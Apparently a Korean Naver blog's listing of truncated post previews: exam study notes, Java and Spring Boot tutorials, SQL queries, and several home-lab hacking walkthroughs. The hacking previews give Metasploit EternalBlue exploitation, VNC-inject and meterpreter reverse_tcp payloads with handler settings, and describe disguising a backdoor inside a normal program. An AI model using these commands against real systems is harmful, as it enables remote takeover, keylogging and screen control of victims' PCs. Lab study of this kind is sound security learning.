암기 용이라 설명이 부실할 수도 있습니다. 애플리케이션 테스트 : 애플리케이션에 잠재되어 있는 결함을 찾아내는 일련의 행위 또는 절차 확인(Validation) : 고객의 요구사항을 만족하는가 / 사용자 검증(Verification) : 기능을 정확히 수행하는가 / 개발자 애플리케이션 테스트의 기본 원리 완벽한 테스트 불가능 : 소프트웨어의 잠재적인 결함은 줄일 수 있지만, 소프트웨어의 결함이 없다고 증명할 수는 없음 파레토 법칙(Pareto Principle) : 애플리케이션의 20%에 해당하는 코드에서 전체 결함의 80%가 발견된다는 법칙 살충제 패러독스(Pesticide Paradox) : 동일한 테스트 케이스로 동일한 테스트를 반복하면 더 이상 결함이 발견되지 않는 현상 테스팅은 정황(Context) 의존 : 소프트웨어의 특징, 테스트 환경, 테스터의 역량 등 정황(Context)에 따라 테스트 결과가 달라질 수 있으므로, 정황에 따라 테스트를 다르게 수행해야 함 오류-부재의

Naver Blog

[정처기] 정보처리기사 실기 8. 소프트웨어 보안 구축 암기용

암기 용이라 설명이 부실할 수도 있습니다. 소프트웨어 개발 생명주기 : SDLC, Software Development Life Cycle Secure SDLC : SDLC에 보안 강화를 위한 프로세스를 포함한 것 소프트웨어 개발 보안 요소 : 기무가인부 기밀성(Confidentiality) : 시스템 내의 정보와 자원은 인가된 사용자에게만 접근이 허용됨 무결성(Integrity) : 시스템 내의 정보는 오직 인가된 사용자만 수정할 수 있음 가용성(Availability) : 인가받은 사용자는 시스템 내의 정보와 자원을 언제라도 사용할 수 있음 인증(Authorization) : 시스템 내의 정보와 자원을 사용하려는 사용자가 합법적인 사용지인지를 확인하는 모든 행위 부인 방지(NonRepudiation) : 데이터를 송수신한 자가 송수신 사실을 부인할 수 없도록 송수신 증거를 제공함 시큐어코딩(Secure Coding) : 구현 단계에서 보안 요소들을 고려하여 코딩하는 것 입력 데이

Naver Blog

[정처기] 정보처리기사 실기 9. 응용 SW 기초 기술 활용 암기용

암기 용이라 설명이 부실할 수도 있습니다. 운영체제 : 컴퓨터 시스템의 자원들을 효율적으로 관리하며, 사용자가 컴퓨터를 편리하고 효과적으로 사용할 수 있도록 환경을 제공하는 여러 프로그램의 모임 운영체제의 목적 : 처반사신 처리 능력(Throughput) : 일정 시간 내에 시스템이 처리하는 일의 양 반환 시간(Turn Around Time) : 시스템에 작업을 의뢰한 시간부터 처리가 완료될 때까지 걸린 시간 사용 가능도(Availability) : 시스템을 사용할 필요가 있을 때 즉시 사용 가능한 정도 신뢰도(Reliability) : 시스템이 주어진 문제를 정확하게 해결하는 정도 운영체제의 기능 : 프로세서(처리기/Processor), 기억장치(주 기억장치, 보조기억장치), 입. 출력장치, 파일 및 정보 등의 자원을 관리 운영체제의 종류 - Windows, Unix, Linux, MacOs, Android, iOS 기억장치 관리 : 보조기억장치의 프로그램이나 데이터를 주 기억장치

Naver Blog

[정처기] 정보처리기사 실기 10. 제품 소프트웨어 패키징 암기용

암기 용이라 설명이 부실할 수도 있습니다. 소프트웨어 패키징 : 모듈별로 생성한 실행 파일들을 묶어 배포용 설치 파일을 만드는 것, 사용자 중심 릴리즈 노트 : 소프트웨어 개발 과정에서 정리된 릴리즈 정보를 최종 사용자인 고객과 공유하기 위한 문서 디지털 저작권 관리(DRM, Digital Right Management) : 저작권자가 배포한 디지털 콘텐츠가 저작권자가 의도한 용도로만 사용되도록 하는 디지털 콘텐츠 관리 및 보호 기술 디지털 저작권 관리 구성 요소 클리어링 하우스(Clearing House) : 저작권에 대한 사용 권한, 라이선스 발급, 암호화된 키 관리, 사용량에 따른 결제 관리 등을 수행하는 곳 콘텐츠 제공자(Contents Provider) : 콘텐츠를 제공하는 저작권자 패키저(Packager) : 콘텐츠를 메타 데이터와 함께 배포 가능한 형태로 묶어 암호화하는 프로그램 콘텐츠 분배자(Contents Distributor) : 암호화된 콘텐츠를 유통하는 곳이나

Naver Blog

[정처기] 정보처리기사 실기 단답형, 약술형 대비 암기용

정답 최대한 안 보고 풀어봐요. 모르겠으면 그냥 머릿속에 구겨 넣으세요. 문자로 된 도메인 네임을 컴퓨터가 이해할 수 있는 IP 주소로 변환하는 역할을 하는 시스템 DNS 기본 테이블의 기본 키를 구성하는 어떤 속성도 Null 값이나 중복 값을 가질 수 없다는 규정 개체 무결성 프로세스의 처리 시간보다 페이지 교체에 소요되는 시간이 더 많아지는 현상 스래싱 동일한 성격의 데이터를 동일한 데이터 블록에 저장하는 물리적 저장 방법 클러스터 개발자가 관리하고 통제해야 하는 객체들의 제어 권한을 프레임워크에 넘겨 생산성을 향상시키는 것 제어의 역행 결함을 모두 제거했다 하더라도 사용자의 요구를 충족시켜주지 못한다면 품질이 높다고 볼 수 없다는 것 오류-부재의 궤변 프로세스가 실행되는 동안 주기억장치를 참조할 때 일부 페이지만 집중적으로 참조하는 성질 지역성 분할된 패킷의 순서를 기록하는 Fragment Offset 값을 변경하여 수신 측에서 재조립 시 오류로 인한 과부하를 유도하는 공격 기

Naver Blog

JAVA+JDBC CRUD 게시판 만들기 + 로그관리

게시판 테이블 명세서>> 실행 화면>> 게시글 작성 - Create 게시글 보기 - Read 게시글 수정 - Update 게시글 수정 시 로그 삽입 게시글 삭제 - DELETE 게시글 삭제 시 로그 삽입 수정, 삭제 시 로그 삽입은 두 번씩 됩니다.. 왜냐하면.. SQL의 Trigger를 연습하면서 UPDATE, DELETE 사용 시 트리거가 동작하게 만들어놨거든요.. board_updateTrg DELIMITER // CREATE TRIGGER board_updateTrg AFTER UPDATE ON board FOR EACH ROW BEGIN INSERT INTO board_log VALUES(NULL,OLD.bno,OLD.title,OLD.content,OLD.regdate,OLD.modifyDate,OLD.writer,OLD.hit,'U',CURRENT_TIMESTAMP()); END // DELIMITER ; board_deleteTrg DELIMITER // CREATE

Naver Blog

JAVA+JDBC 소코반 게임

자바로 소코반 게임을 만들고 JDBC를 이용해 DB에 연동하여 점수와 공지사항, 이벤트 관련 게시글을 추가했습니다. 첨부파일 game.zip 파일 다운로드 실행 화면을 먼저 보시면 로그인 창이 나옵니다. 회원가입을 먼저 해볼게요. 계정 테이블>> CREATE TABLE `account` ( `userno` INT(11) NOT NULL AUTO_INCREMENT COMMENT '계정관리번호', `permit` INT(1) NOT NULL COMMENT '권한', `id` VARCHAR(20) NOT NULL COMMENT '아이디' COLLATE 'utf8mb4_general_ci', `pw` VARCHAR(10) NOT NULL COMMENT '패스워드' COLLATE 'utf8mb4_general_ci', `name` VARCHAR(20) NOT NULL COMMENT '이름' COLLATE 'utf8mb4_general_ci', `phone` VARCHAR(13) NOT NUL

Naver Blog

JAVA+JDBC 학생관리프로그램

학생관리 프로그램의 권한은 총 4가지입니다. 1 : 학생 2 : 선생님 3 : 관리자 9 : 선생님으로 회원가입한 뒤, 관리자가 승인하기 전 첨부파일 sangHoon.zip 파일 다운로드 프로그램을 실행시켰을 때 회원가입을 먼저 해볼게요. tbl_grade 테이블>> CREATE TABLE `tbl_grade` ( `userno` INT(11) NOT NULL AUTO_INCREMENT COMMENT '계정관리번호', `permit` INT(1) NOT NULL COMMENT '권한', `id` VARCHAR(20) NOT NULL COMMENT '아이디' COLLATE 'utf8mb4_general_ci', `pw` VARCHAR(10) NOT NULL COMMENT '패스워드' COLLATE 'utf8mb4_general_ci', `name` VARCHAR(20) NOT NULL COMMENT '이름' COLLATE 'utf8mb4_general_ci', `phone` VARCH

Naver Blog

JAVA+Socket+Thread 실시간 채팅방

이전에는 소켓을 이용하여 한 번씩 문자열을 주고받았다면 이제는 스레드를 사용하여 데이터처리를 분산시켜서 시도해 봤어요.. 서버 쪽에서 읽어들이는 스트림 - in 서버 쪽에서 보내는 스트림 - out 클라이언트에서 읽어들이는 스트림 - in 클라이언트에서 보내는 스트림 - out 서버와 클라이언트 측에서 읽어들이는 스트림 in 객체를 스레드로 넘겨 스레드에선 문자열을 읽어들여 프린트를 해주고 메인 영역에서는 스캐너로 입력받은 문자열을 쏴주는 역할을 하여 각각 다른 작업을 수행하게 만들었어요 서버 측 클라이언트 측 서버 측 소스코드>> package d20230508; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.PrintWriter; import java.net.ServerSocket; import java.net.Socket; import java.util.Scanner; class S

Naver Blog

JAVA+Thread 달팽이 경주 게임

스레드와 친해지기 위해 달팽이 경주 게임을 만들어봤어요. 랜덤으로 가져온 달팽이의 스피드에 따라 각 달팽이 배열에 게이지를 추가하는 스레드와 판을 보여주는 스레드 사용한 스레드는 총 4개입니다. 게임을 시작했을 때 쭉쭉쭉 골인 지점까지 가는 중.. 달팽이2가 먼저 골인 지점에 도착했네요! 전체 소스코드>> package d20230508; import java.util.Random; class show implements Runnable { @Override public void run() { while (true) { if (RunSnail.board[0][20] != null || RunSnail.board[1][20] != null || RunSnail.board[2][20] != null) { RunSnail.showflag = false; if (RunSnail.board[0][20] != null) { System.out.println(RunSnail.board[0][0]

Naver Blog

윈도우 시스템 해킹 - 사전 정보 수집

rHost = Windows 7 Home Basic K, 172.16.234.130 lHost = Kali Linux , 172.16.234.129 !! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다 !! !! 실제 서버를 공격하여 생기는 법적 책임은 본인에게 있음을 경고합니다 !! Nmap을 이용해 rHost를 대상으로 OS 스캔을 해봅니다. nmap -O 172.16.234.130 열려있는 포트와 사용 중인 OS가 출력됩니다. 다음으로 취약한 포트가 있는지 확인하기 위해 전체 스캔을 진행해 줍니다. nmap -A 172.16.234.130 앞서 스캔 한 정보와 함께 호스트 스크립트 결과를 보시면.. 445번 포트(SMB) 취약점에 대해 정보를 알려줍니다. Nmap에서 제공하는 스크립트 파일을 통해 더 정보를 얻어봐요. /usr/share/nmap/scripts 폴더로 이동 후 SMB와 관련된 스크립트 파일을 찾습니다. 많은 취약점이 존재하는데 smb-vuln-ms17

Naver Blog

윈도우 시스템 해킹 - Key logging Exploit

윈도우 시스템 해킹 - 사전 정보 수집 rHost = Windows 7 Home Basic K, 172.16.234.130 lHost = Kali Linux , 172.16.234.1... blog.naver.com 이전 게시글에 이어서 진행됩니다.. !! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다 !! !! 실제 서버를 공격하여 생기는 법적 책임은 본인에게 있음을 경고합니다 !! msfconsole 단일 명령어를 통해 metasploit 인터페이스로 접근합니다. search cve-2017-0143 이전 게시글에서 찾았던 취약점 정보를 검색합니다. 17년도 이터널블루 취약점을 사용합니다. use exploit/windows/smb/ms17_010_eternalblue 더 자세히 보고 싶으면 info 명령을 통해 취약점을 확인할 수 있습니다. 페이로드를 정하라고 하네요.. show payloads 명령을 통해 페이로드 목록을 확인할 수 있습니다. 저는 metapret

Naver Blog

윈도우 시스템 해킹 - VNC Inject Exploit

윈도우 시스템 해킹 - 사전 정보 수집 rHost = Windows 7 Home Basic K, 172.16.234.130 lHost = Kali Linux , 172.16.234.1... blog.naver.com 윈도우 시스템 해킹 - Key logging Exploit 이전 게시글에 이어서 진행됩니다.. 단일 명령어를 통해 metasploit 인터페이스로 접근합니다. 이전 게시글... blog.naver.com 이전 게시글에 이어서 진행됩니다.. !! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다 !! !! 실제 서버를 공격하여 생기는 법적 책임은 본인에게 있음을 경고합니다 !! 키로거 공격에 이어서 VNC를 이용해 희생자 PC 화면을 강제로 불러와볼게요. 이전 게시글에서 metasploit 인터페이스에서 payload를 다시 설정해 줍니다. set payload windows/x64/vncinject/reverse_tcp rhost, lhost도 설정을 해주시고.

Naver Blog

JSP+Servlet Ajax 사용하기

JSP+Servlet에서 AJAX를 사용하여 비동기통신과 동기 통신을 해볼게요.. JSP>> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Insert title here</title> </head> <body> <h1>Ajax Test</h1> <hr> <button onclick="loadDoc()">실행</button> <div id="demo">demo 영역</div> <div id="demo2">demo2 영역</div> </body> </html> JS(AJAX) >> <script> function loadDoc(){ const xhttp = new XMLHttpRequest(); xhttp.onload = function(){ document.getElem

Naver Blog

시스템 해킹 - BackDoor 생성

!! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다!! !! 실제 서버를 공격하여 생기는 법적 책임은 본인에게 있음을 경고합니다!! 백도어는 개구멍이라고 생각하시면 편합니다.. 생성한 백도어는 다른 정상적인 프로그램과 합쳐서 대상의 의심을 피한 뒤, 실행하게 되면 대상의 PC에서는 백도어가 설정해둔 포트가 열리게 되고 공격자가 시스템을 장악하게 됩니다. 골 때리는 녀석이죠.. 반대로 백도어에 감염되었다면..? 조립은 해체의 역순입니다. 원하지 않는 포트를 닫아줘야 되니까 네트워크를 사용하지 않는 안전 모드에 들어가서 작업을 하시거나 랜선 뽑고 뻘짓거리 하는 프로그램이 있는지 확인 먼저 하시면 되겠죠.. 서론이 너무 길었네요 얼른 바이러스를 만들어보죠.. 공격자 : Kali - 192.168.28.128 희생자 : Windows 10 - 192.168.0.186 공격은 희생자의 Shell을 장악하기 위해 metapreter의 reverse_tcp와 화면을 원격제어하기 위해

Naver Blog

시스템 해킹 - BackDoor / Reverse_tcp Exploit

시스템 해킹 - BackDoor 생성 !! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다!! !! 실제 서버를 공격하여 생기는 법적 ... blog.naver.com 이전 게시글에 이어서 진행됩니다.. !! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다!! !! 실제 서버를 공격하여 생기는 법적 책임은 본인에게 있음을 경고합니다!! 공격자는 공격대기를 위해 msfconsole로 이동합니다. msfconsole 이제 페이로드를 정해줍시다.. use multi/handler set payload windows/meterperter/reverse_tcp set lhost 192.168.28.128 set lport 10101 exploit 페이로드에서 공격자의 IP와 바이러스를 만들 때 정했던 포트도 정해주고 exploit 하면 대기 상태가 됩니다.. 희생자의 PC로 가서 바이러스에 감염되어 볼게요. 바이러스를 업로드했던 URL을 타고 가면 바이러스가 다운로드 됩

Naver Blog

시스템 해킹 - BackDoor / VNC Inject Exploit

시스템 해킹 - BackDoor 생성 !! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다!! !! 실제 서버를 공격하여 생기는 법적 ... blog.naver.com 이전 게시글에 이어서 진행됩니다.. !! 실습을 위해서 제가 직접 만든 시스템을 대상으로 정했습니다!! !! 실제 서버를 공격하여 생기는 법적 책임은 본인에게 있음을 경고합니다!! 공격자는 공격대기를 위해 msfconsole로 이동합니다.. msfconsole 그 후 페이로드를 설정해 줍니다.. 페이로드에서 공격자의 IP와 포트를 다시 설정해 주고.. exploit..!! viewonly 옵션은 공격 후에 원격으로 입력도 제어하기 위해 false 해줬습니다.. 다시 희생자의 PC로 돌아와 바이러스에 감염되어 볼게요.. 희생자 PC에서 잘 다운로드 된 요 녀석 실행하게 되면.. 공격자의 PC에선 새로운 세션이 만들어지고.. 희생자의 PC가 원격으로 보이며 제어가 가능합니다..

Naver Blog

취득 IT 자격증 + 짧은 후기..

바야흐로 대학교 2학년.. 군 전역 이후 대학교에 복학하여 교양 수업을 듣는데 자기소개서를 쓰는 수업이었다.. 자기소개서는.. 대학입시할 때 말곤 써본 적이 없었는데.. 다른 사람 얘기 같았지만 어쨌든 학점은 챙겨야 되니까 하라는 대로 했음.. 근데.. 자격 및 경력 란에 쓸 게 없는 거임!! ㅜㅁㅜ 거기서 한 번 나의 현실에 실망하고.. 당장 경력을 쌓을 순 없으니. 나에게 필요할 것 같은 자격증을 찾아보고.. 친구랑 선배님들에게 물어보고.. 공부를 하던, 알바를 하던 자격증 일정을 항상 마음 한구석에 두고 살면서.. 하나씩 하나씩 취득하기 시작했다.. 하고 싶은 일과 연관성과 중요도에 따라 순서를 정함.. 첫 번째로 정보처리기사 기사라고 하면 버스기사 택시 기사 배달기사 겟앰프드 성기사(ㅋㅋ)만 알고 있었는데.. IT 관련 업무를 하려면 면허증과도 같은 자격증이라고 해서 땄음.. 필기는 대학교 4학년 2022년 1회차에 따놨는데.. 바로 실기를 안 따고 한참 아르바이트하고 졸업

Naver Blog

게시판 카테고리별 게시글 가져오기

개인 프로젝트를 진행하다가 윈도우 함수를 이용하여 게시판 카테고리 별로 최신 게시글 3개씩 가져오는 쿼리문을 만들었어요.. 게시판 카테고리 관리 테이블 tbl_boardtype 게시판 데이터 tbl_board 게시판 type(카테고리) 별로 최신 글 3개씩 가져오는 쿼리문 SELECT * FROM (SELECT *,RANK() OVER (PARTITION BY M.type ORDER BY M.date DESC) AS rn FROM tbl_board AS M) AS rs WHERE rs.rn<=3 서브 쿼리와 윈도우 함수를 이용하여 type 별로 구역을 나눠준 뒤, 날짜 별로 정렬해 주고 그 결과가 3 이하인 것을 가져오면 됩니다..

Naver Blog

게시글 별 댓글 수 가져오기

이거 역시 개인 프로젝트를 하다가.. 게시글 별로 해당 게시글에 몇 개의 댓글이 있는지 보여주게 하기 위해서 쿼리문을 만들었어요.. 댓글 테이블 tbl_comment bno는 게시글 번호를 의미합니다.. SELECT *, (SELECT COUNT(*) FROM tbl_comment AS c WHERE c.bno=rs.bno) AS commentnum FROM (SELECT *,RANK() OVER (PARTITION BY M.type ORDER BY M.date DESC) AS rn FROM tbl_board AS M) AS rs WHERE rs.rn<=3 게시판 카테고리 별로 최신 글 3개를 가져오면서 서브 쿼리를 이용하여 해당 게시글의 댓글 수를 가져오는 쿼리문입니다..

Naver Blog

Spring Boot 회원관리 6 - 웹 MVC

마지막으로 만들어놓은 기능을 사용하여 웹에서 데이터를 전달받고, 저장한 데이터를 뿌려주게끔 만들어볼게요.. 우선 제일 처음 보일 Home 페이지 >> HomeController>> package hello.hellospring.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; @Controller public class HomeController { @GetMapping("/") public String home(){ return "home"; } } Home.html >> <!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <head> <meta charset="UTF-8"> <title>Home</title> </head> <body> <div class="con

Naver Blog

Spring Boot - H2 데이터베이스 설치

H2는 자바로 작성된 오픈 소스 내장형 관계형 데이터베이스 관리 시스템입니다. 주로 개발 및 테스트 목적으로 사용되며, 인메모리 데이터베이스로도 활용될 수 있습니다. H2 Database Engine Download Version 2.2.222 (2023-08-22) Windows Installer (6.7 MB) All Platforms (zip, 9.5 MB) All Downloads Support Stack Overflow (tag H2) Google Group For non-technical issues, use: Features Very fast, open source, JDBC API Embedded and server modes; disk-based or in-memory databases Transaction su... www.h2database.com 해당 사이트에서 운영체제에 맞게 설치해 줍니다.. 제 운영체제가 mac이라 mac 기준입니다..!! 다운로드한 압축파

Naver Blog

Spring Boot - JDBC를 이용해 리포지토리를 DB로 변경

개방-폐쇄의 원칙(OCP, Open-Closed Principle)란, 확장에는 열려있고 수정 및 변경에는 닫혀있습니다. 무슨 뜻이냐면.. 이때까지 회원관리 프로젝트를 하면서 데이터베이스가 정해지지 않은 상태에서 개발을 하게 되어서 메모리에 회원정보를 저장시켰는데, 이 저장하는 부분을 메모리가 아닌 DB로 변경하겠다는 곳에 있습니다. 변경을 하는 과정에서, DI를 이용하여 기존 코드에는 전혀 손대지 않고, 설정만으로 구현 클래스를 변경할 수 있습니다. 기존에 MemberService에서 MemberRepository 인터페이스에 구현체가 MemoryMemberRepository가 있었다면, 이건 놔두고 구현체를 JDBCMemberRepository를 만들어줘서 스프링 빈으로 사용할 겁니다. 먼저, build.gradle에 jdbc와 H2 데이터베이스 관련 라이브러리를 추가합니다.. implementation 'org.springframework.boot:spring-boot-star

Naver Blog

Spring Boot - 통합 테스트

이전에 단위 테스트를 했다면, 이번엔 스프링을 실제로 띄우고 DB 연동까지 하는 통합 테스트를 해보겠습니다.. 순수 자바 코드를 통해서 테스트를 하지 않고 스프링을 구동해야 되는 경우 @SpringBootTest 어노테이션을 사용합니다. 그리고 테스트 과정에서 쿼리문을 실제 commit 시키지 않고 테스트가 끝난 뒤에 Rollback시키려면 @Transactional 어노테이션을 사용합니다. MemberServiceIntegrationTest>> package hello.hellospring.service; import hello.hellospring.domain.Member; import hello.hellospring.repository.MemberRepository; import org.assertj.core.api.Assertions; import org.junit.jupiter.api.Test; import org.springframework.beans.factory.ann

Naver Blog

Spring Boot - JDBCTemplate 사용하기

스프링 JDBCTemplate는 기존의 JDBC와 동일한 환경설정을 해줍니다. JDBCTemplate나 Mybatis와 같은 라이브러리는 JDBC의 반복 코드를 대부분 제거해 줍니다. 하지만 쿼리문은 직접 작성해 줘야 됩니다.. 개방-폐쇄의 원칙에 따라.. 기존에 MemberRepository 인터페이스를 JdbcMemberRepository를 구현체로 사용했다면 JdbcTemplateMemberRepository를 구현체로 한 개 더 만든 뒤, 스프링 빈 객체로 사용하도록 할게요.. JdbcTemplateMemberRepository>> package hello.hellospring.repository; import hello.hellospring.domain.Member; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.core.RowMapper; import org.springf

Naver Blog

Spring Boot - jsp 사용하기

스프링 부트는 기본적으로 JSP를 지원하지 않습니다. 보통 웹 개발에 타임리프, 프리마커 등의 템플릿 엔진의 사용을 권장합니다. 하지만 JSP를 사용하고 싶다면 따로 설정하고 사용할 수 있습니다.. 먼저 스프링 프로젝트를 Gradle로 한 개 만들어 주시고요.. 프로젝트 의존성은 jsp 외에 사용할 것 체크해 주시면 됩니다.. 프로젝트가 만들어졌어요! 먼저, resource 폴더의 application.properties를 세팅해 줄게요.. #포트 설정 server.port=8088 #JSP 설정 spring.mvc.view.prefix=/WEB-INF/views/ spring.mvc.view.suffix=.jsp 포트는 8088로 임의로 적어놨습니다. JSP 경로와 확장자를 설정해 줍니다. 그리고, build.gradle로 이동해서 의존성을 추가해 줍니다. implementation 'javax.servlet:jstl' implementation 'org.apache.tomcat.

Naver Blog

Spring Boot Mybatis - 게시판 만들기

스프링 부트는 Mybatis를 지원합니다.. 설정과 의존성만 추가하면 간단하게 사용할 수 있습니다. 테이블의 값을 리스트로 가져와보는 작업을 해볼게요.. 우선 테이블을 먼저 확인해 봅니다.. simple_bbs 테스트 데이터 넣어놓고.. 프로젝트를 만들어줍니다.. Mybatis Framework를 체크해 주시고요.. build.gradle 저는 jsp를 사용할 거라 jsp 의존성도 추가해 줬습니다.. 다음으로 application.properties에 데이터베이스 연결정보를 설정합니다.. application.properties server.port=8087 #JSP spring.mvc.view.prefix=/WEB-INF/views/ spring.mvc.view.suffix=.jsp #DB spring.datasource.driver-class-name=org.mariadb.jdbc.Driver spring.datasource.url=jdbc:mariadb://localhost:3

Naver Blog

Spring Boot - RestAPI 1

서버에 요청을 보내면 DB에 있는 데이터를 JSON으로 출력해 주는 API를 만들어볼게요.. http://localhost:8089/member/멤버 번호 로 접속하게 되면, 해당 멤버 번호에 매칭되는 데이터를 출력해 주고, http://localhost:8089/members 로 접속하게 되면, 모든 멤버들의 데이터를 출력해 주고, http://localhost:8089/member 에 POST 방식으로 데이터를 실어서 보내주면 데이터를 추가할 수 있게끔 설계했습니다. 결과 화면>> http://localhost:8089/members> http://localhost:8089/member/1> http://localhost:8089/member/3> 데이터 테이블>> CREATE TABLE `tbl_member` ( `mno` INT(11) NOT NULL AUTO_INCREMENT, `NAME` VARCHAR(50) NOT NULL COLLATE 'utf8mb4_general_c

Naver Blog

Spring Boot - RestAPI 2

Spring Boot - RestAPI 1 서버에 요청을 보내면 DB에 있는 데이터를 JSON으로 출력해 주는 API를 만들어볼게요.. http://lo... blog.naver.com 이전 게시글에 이어서.. 다른 서버에서 해당 API를 사용해 보도록 할게요.. 결과 화면>> 목록 가져오기 전.. 목록을 가져오게 되면 DB의 NAME이 출력됩니다. useApi.jsp <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Insert title here</title> </head> <body> <h1>Use Api</h1> <hr> <h3>목록보기</h3> <button id="btn_list">목록가져오기</button> <div id="div_list"></div> </bo

Naver Blog

Spring Boot 회원관리 1 - 도메인, 리포지토리 생성

회원관리 예제 데이터베이스 사용하기에 앞서, 개발을 해야 되는 상황이 왔다고 가정을 하고 데이터를 메모리에 저장시키도록 하여 도메인과 리포지토리를 만들어볼게요.. Member(도메인)>> package hello.hellospring.domain; public class Member { private Long id; private String name; public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } } 간단하게 시스템이 부여하는 ID, 사용자의 입력을 받는 Name 두 개가 있습니다. 다음으로 MemberRepository(인터페이스)>> package hello.hellospring.repository; import

Naver Blog

Spring Boot 회원관리 2 - 테스트 케이스 작성

이전 게시글에서 작성했던 회원관리 도메인과 리포지토리에 직접 값을 넣어보고 값을 검증해 보도록 할게요.. save>> @Test public void save() { Member member = new Member(); member.setName("spring"); repository.save(member); Member result = repository.findById(member.getId()).get(); System.out.println("result = " + (result == member)); assertThat(member).isEqualTo(result); } 회원 객체를 한 개 만들고 이름만 정해주고 리포지토리에 저장을 합니다. 반환값이 Optional 형식이라. get() 메서드를 통해 다시 회원 객체로 반환받습니다. assertThat을 사용하여 member와 result를 비교합니다. findByName>> @Test public void findByName

Naver Blog

Spring Boot 회원관리 3 - 서비스 개발

회원가입 시 중복된 회원 등을 구분하고 처리하기 위한 서비스 클래스를 만들어볼게요.. 서비스 클래스에서 메서드는 기계적인 언어보단 개발자가 아닌 다른 사람이 좀 더 알아듣기 쉬운 언어를 사용해서 작성했습니다.. public Long join(Member member) { validateDuplicateMember(member); // 중복 회원 검증 memberRepository.save(member); return member.getId(); } private void validateDuplicateMember(Member member) { memberRepository.findByName(member.getName()) .ifPresent(m -> { throw new IllegalStateException("이미 존재하는 회원입니다."); }); } 먼저 회원가입을 하게 되면 중복 회원임을 검증하게 됩니다. findByName 메서드에서 반환값을 Optional 타입의 객체를

Naver Blog

Spring Boot 회원관리 4 - 회원관리 테스트

먼저 테스트를 위해 껍데기를 만듭니다.. 먼저, 회원가입의 경우 @Test void 회원가입() { //given Member member = new Member(); member.setName("member"); //when Long saveId = memberService.join(member); Member findMember = memberService.findOne(saveId).get(); Assertions.assertThat(member.getName()).isEqualTo(findMember.getName()); //then } 생성한 객체와 생성 후 서비스에서 가져온 객체의 ID를 각각 비교합니다. 다음으로 예외의 상황인 중복 회원일 경우인데.. @Test public void 중복_회원_예외() { //given Member member1 = new Member(); member1.setName("member"); Member member2 = new Member

Naver Blog

Spring Boot 회원관리 5 - 스프링 빈과 의존관계

이전 게시글에 이어서.. 스프링 컨테이너에 MemberController --> MemberService --> MemberRepository 요런 비즈니스 로직을 요구할 때 스프링 빈을 등록한 뒤, 첫 번째로 컴포넌트 스캔을 이용해 자동으로 의존관계를 설정해 볼게요.. 우선 Controller를 만든 후.. package hello.hellospring.controller; import hello.hellospring.service.MemberService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; @Controller public class MemberController { private final MemberService memberService; @Autowired public MemberController(Membe

1 2